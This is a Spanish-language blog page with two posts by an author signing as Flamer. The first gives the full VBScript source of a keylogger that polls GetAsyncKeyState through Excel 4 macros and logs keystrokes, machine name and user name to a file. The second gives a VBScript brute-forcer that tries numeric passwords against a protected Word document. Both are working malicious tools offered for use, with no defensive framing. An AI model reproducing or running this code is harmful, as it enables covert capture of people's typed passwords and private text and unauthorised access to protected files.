martes, 26 de septiembre de 2017

Codigo Del Keylogger En Vbscript


Hola aquí les muestro el código fuente del keylogger en vbscript, una cosa este código esta limitado ya que no acepta números y entre muchos mas caracteres.

Esta idea me surgió ya que navegando por un foro chino o japones, observe un código en vbs que usaba la api "GetAsyncKeyState" que es la encargada de identificar las teclas presionadas del teclado y guala se me bino ala mente crear este keylogger.

otra cosa observe que no es la única api  que utilizan desde vbscript hay otras mas


option explicit
Dim ExcelApp,f,fso,log,conta,datos,shell,api,cmd,may

set fso = createobject("scripting.filesystemobject")
Set ExcelApp = CreateObject("Excel.Application") 
Set Shell = CreateObject( "WScript.Shell" )

datos = "Nombre de la maquina:" & Shell.ExpandEnvironmentStrings("%computername%") & vbcrlf
datos = datos & "Nombre de usuario:" & Shell.ExpandEnvironmentStrings("%username%") & vbcrlf
datos = datos & "Fecha:" & now & vbcrlf
datos = datos & "==================================================================================================================================================================" & vbcrlf

log = ""
conta = 0
may = 0

While true
   if conta >= 50 then
      conta = 0
      if fso.fileexists("log.txt") then
      fso.deletefile("log.txt")  
   end if
      set f = fso.createtextfile("log.txt")
   f.write(datos)
   f.write(log)
   f.close
   end if 
   conta = conta + 1
   api=0      
'===========================================================================================================================
' LETRAS MAYUSCULAS Y MINUSCULAS  
   log = log & letras(may)
'==============================================================================================================================
' OTRAS
  
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 32 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & " "  
      api=0   
   end if   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 8 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = mid(log,1,len(log)-1)  
      api=0   
   end if    
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 13 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & "[Enter]"  
      api=0   
   end if      
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 20 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      if may = 0 then
            may = 1
         else
            may = 0
         end if 
      api=0    
   end if   
   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 192 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      if may=0 then
         log = log & "ñ"
      else
       log = log & "Ñ"
   end if   
      api=0   
   end if
   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 190 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & "."  
      api=0   
   end if  
   
   cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & 188 & ")"
   api = ExcelApp.ExecuteExcel4Macro(cmd)
   if api<>0 then
      log = log & ","  
      api=0   
   end if  
   
wend

function letras(may)
 dim x,api,cmd,digi  
   for x = 65 to 90
      cmd = "CALL(""user32.dll"", ""GetAsyncKeyState"", ""JJ"", " & x & ")"
      api = ExcelApp.ExecuteExcel4Macro(cmd)
      if api<>0 then
         exit for   
      end if
   next
   
   if x < 91 then
      if may = 0 then
         digi = lcase(chr(x))
      else
         digi = chr(x)
      end if
   end if
   letras = digi
end function



Link del vídeo donde se explica como usarlo: Ver


Saludos flamer


miércoles, 13 de septiembre de 2017

Codigo Simple Para Averiguar Contraseñas De Word


Hola amigos aquí esta el código de mi script para averiguar contraseñas de word, aclaro el programa solo esta hecho para contraseñas numéricas, pero si lo modifican un poco lo pueden hacer para letras o símbolos


option explicit
On Error Resume Next

Dim pass,objword,x,mata,process
Set objword = CreateObject("Word.Application")

objword.Visible = False

For x = 0 To 2000
   pass = CStr(x)
   objword.Documents.Open "Ruta Del Archivo Word", , , , pass, , , , , , , False  ' Cambiar la ruta del archivo word'
   If Err.Number = 0 Then
      MsgBox("La Contraseña es: " & x)
      set mata = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_Process")
   For each process in mata
         If process.name = "WINWORD.EXE" then
         Process.terminate
         End If
      Next
      Exit For
   Else
      Err.Number = 0
   End If
Next


Nota Importante: no loe hecho con letras y no se quien sera mas rápido si el programa Passware Kit Forensic 13.5 o el script utilizando letras


bueno espero que a alguien le sirva, saludos Flamer y aqui pueden ver el video: Ver Video